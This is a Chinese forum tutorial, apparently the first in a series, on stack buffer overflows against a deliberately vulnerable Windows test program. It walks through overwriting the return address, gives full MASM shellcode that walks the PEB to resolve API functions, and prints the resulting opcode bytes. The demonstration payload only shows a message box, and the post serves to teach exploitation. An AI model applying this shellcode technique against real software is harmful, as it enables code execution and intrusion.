本帖最后由 小俊 于 2018-4-23 18:07 编辑
初识栈溢出讲栈溢出之前,我们先认识一下什么是栈,下图是一个标准的栈结构
Stack 给大家介绍俩寄存器ESP(栈顶,低地址)和EBP(栈底,高地址)
栈的作用是什么? 相信很多小白就要问了。
说人话,栈就是用来存局部变量,参数和返回地址的的一块内存,我个人是这么理解的。
索引栈中的数据用 [EBP+XX] (参数,或返回地址) [EBP-XX] (局部变量)为什么用EBP而不用ESP索引数据呢?
因为EBP只有开辟栈帧,或者关闭栈帧的时候才会发生改变,而ESP申请局部变量,或者push参数的时候都会发生改变,所以使用EBP来索引栈中的数据
那么栈溢出是什么原理呢,比方说,我开辟了0x100个字节的栈空间,读取文件中的内容放入栈中,但是我的文件的大小有0x200字节,栈中的其他数据就会被文件中的内容覆盖,这就是栈溢出的基本原理
大家设想一下,如果我们把返回地址给覆盖掉,并且改成一段ShellCode的地址,是不是就执行我们自己的ShellCode呢?
本章的目标就是实现这个功能 我给大家发一个有栈溢出漏洞的程序,用来演示
下载地址:https://pan.baidu.com/s/1XhnluFK_995bXQxb-AGZnQ
双击程序没有反应,那就对了,因为我没有写实际的功能,只是读取Test.txt文件放入栈中
先拖到OD里面分析一下
分析 分析了这么多,一句话总结:缓冲区只有0x100字节,如果Test.txt文件大小大于0x100字节,那么栈就会溢出。
我们先构造一个0x100字节大小的文件,看看内存布局
上神器,很好用的十六进制编辑工具:010 Editor
官网:http://www.sweetscape.com/
NewHexFile 快捷键 Ctrl + Shift + i 插入数据
InsByte 保存Test.txt文件到测试程序目录下
SaveFile.png 拖入OD中观察栈
Stack分析 记录一下返回地址的地址:0x0019FF80
一句话总结:我们在原来Test.txt文件基础上再添加16(10h)个字节,就能把返回地址覆盖了
AddByte.png 重新载入OD继续分析栈
Stack 通过上面的图我们可以看到,栈已经被破坏了
EEEEEEEE 把我们的返回地址给覆盖了
我们把文件中的EEEEEEEE替换成我们自己写的ShellCode地址就能执行我们的代码了
我们通过事件查看器验证一下是否正确运行我们的测试程序
崩溃 程序崩溃就正常了,因为我们把栈给破坏了,程序无法正常退出
Win+R → EventVwr 打开事件查看器
Run
log 发生错误的原因是因为0xeeeeeeee是内核空间,在用户层是无法访问的,当汇编指令ret执行的时候,CPU会认为0xeeeeeeee是无效地址
Memory 到这里,我们确实验证了返回地址确实是被0xeeeeeeee覆盖了。接下来就是写ShellCode ShellCode
何为ShellCode?
我认为,不依赖PE文件的特性,能够在任何地方都能运行的代码,就是ShellCode
我个人对ShellCode还是有一点自己的理解
下面的文章是我用纯ShellCode写的加壳器,有兴趣的可以看看
https://www.52pojie.cn/thread-676078-1-1.html
PE相关,可以产考我写的这篇帖子
https://www.52pojie.cn/thread-680447-1-1.html
Windows汇编,编译,链接,产考这篇帖子
https://www.52pojie.cn/thread-679902-1-1.html
好了,不吹牛逼了,开始正式编写ShellCode写个简单的功能,弹出一个MessageBoxA消息框
目标 首先我们把0xEEEEEEEE返回地址改成文件在栈中的地址
打开OD观察一下地址是多少
Stack 把 EEEEEEEE 改成 0019FE74 (注意小端字节序)
注意:虽然测试程序没有随机基址,但是不同操作系统版本,栈起始位置可能不一样,所以你们得自己观察缓冲区首地址是多少
我的操作系统版本:win10 1709(16299)
Address ShellCode汇编代码
[Asm] 纯文本查看 复制代码 .386
.model flat,stdcall
option casemap:none
assume fs:nothing
.code
main:
push ebp
mov ebp,esp
sub esp,200h ;因为代码是在栈中的,为了防止系统函数破坏栈
mov ebx,fs:[30h]
mov ebx,[ebx+0Ch]
mov ebx,[ebx+0Ch]
mov ebx,[ebx]
mov ebx,[ebx]
mov ebx,[ebx+18h]
mov edi,ebx ;保存"kernel32.dll"模块基址
mov eax,[ebx+3Ch] ;取"kernel32.dll"Nt头文件偏移
add eax,ebx ;offset=>VA
mov eax,[eax+78h] ;取导出表RVA
add eax,ebx ;RVA=>VA eax=导出表
mov edx,[eax+20h] ;取名称表RVA
add edx,ebx ;RVA=>VA
xor ecx,ecx ;ecx清零
MyLoop:
mov esi,[edx+ecx*4] ;取函数名RVA
add esi,ebx ;RVA=>VA
inc ecx ;ecx++
cmp byte ptr[esi],'G' ;如果等于ZF会被置为1
jnz MyLoop ;ZF为0则跳转
cmp byte ptr[esi+3],'P' ;
jnz MyLoop ;
cmp byte ptr[esi+7],'A' ;
jnz MyLoop
dec ecx ;取真正的的下标
mov edx,[eax+24h] ;取序号表RVA
add edx,ebx ;RVA=>VA
mov cx,[edx+ecx*2] ;通过序号表找到地址表下标
mov edx,[eax+1Ch] ;取地址表RVA
add edx,ebx ;RVA=>VA
mov esi,[edx+ecx*4] ;取函数地址RVA
add esi,ebx ;RVA=>VA
;到了这里 ESI="GetProcAddress"函数地址 EDI="kernel32.dll"模块基址
;因为MessageBoxA是在user32.dll模块中的
;所以需要通过GetProcAddress获取LoadLibraryA函数地址加载user32.dll模块
;然后再通过GetProcAddress获得MessageBoxA函数地址
call PushStr1 ;通过CALL指令的特性,把下面的数据入栈,如果不理解,暂时可以把他看成push eip
db "LoadLibraryA",0 ;参数2:函数名
PushStr1:
push edi ;"参数1:kernel32.dll"模块基址
call esi ;"GetProcAddress
call PushStr2
db "user32.dll",0 ;需要加载的DLL名称
PushStr2:
call eax ;LoadLibraryA
call PushStr3
db "MessageBoxA",0 ;参数2:函数名
PushStr3:
push eax ;参数1:"user32.dll"模块基址
call esi ;GetProcAddress
push 0 ;参数4
call PushStr4
db "Title",0 ;参数3
PushStr4:
call PushStr5
db "ShellCode",0 ;参数2
PushStr5:
push 0 ;参数1
call eax ;MessageBoxA
mov esp,ebp
pop ebp
end main
编译
ml 生成了一个可执行文件
ShellCode.exe 但是我们要的不是这个文件,而是里面的代码,所以,我们直接把他的代码段扣出来
用010 Editor找到代码段(.text),把代码段中的OpCode复制到我们的Test.txt文件中就行了
ShellCode
[Asm] 纯文本查看 复制代码 55 8B EC 81 EC 00 02 00 00 64 8B 1D 30 00 00 00
8B 5B 0C 8B 5B 0C 8B 1B 8B 1B 8B 5B 18 8B FB 8B
43 3C 03 C3 8B 40 78 03 C3 8B 50 20 03 D3 33 C9
8B 34 8A 03 F3 41 80 3E 47 75 F5 80 7E 03 50 75
EF 80 7E 07 41 75 E9 49 8B 50 24 03 D3 66 8B 0C
4A 8B 50 1C 03 D3 8B 34 8A 03 F3 E8 0D 00 00 00
4C 6F 61 64 4C 69 62 72 61 72 79 41 00 57 FF D6
E8 0B 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00
FF D0 E8 0C 00 00 00 4D 65 73 73 61 67 65 42 6F
78 41 00 50 FF D6 6A 00 E8 06 00 00 00 54 69 74
6C 65 00 E8 0A 00 00 00 53 68 65 6C 6C 43 6F 64
65 00 6A 00 FF D0 8B E5 5D
OpCode
copy 运行一下测试程序
成功!
ShellCode执行成功 程序依然崩溃了,因为我们把栈给破坏了,程序没法正常退出
但是我们的ShellCode已经执行了,所以奔溃不奔溃不重要,我们的目的已经达到了
Stack overflow 最终的成品
https://pan.baidu.com/s/1XhnluFK_995bXQxb-AGZnQ
如果在你电脑上运行不了,可能就是你的系统栈起始位置和我不一样,你得自己看缓冲区首地址,然后自己覆盖返回地址
这是一个系列的帖子,我后面的帖子会讲解如何通过jmp esp解决这个问题
还有如何处理DEP(数据执行保护)和ASLR(地址空间布局随机化) |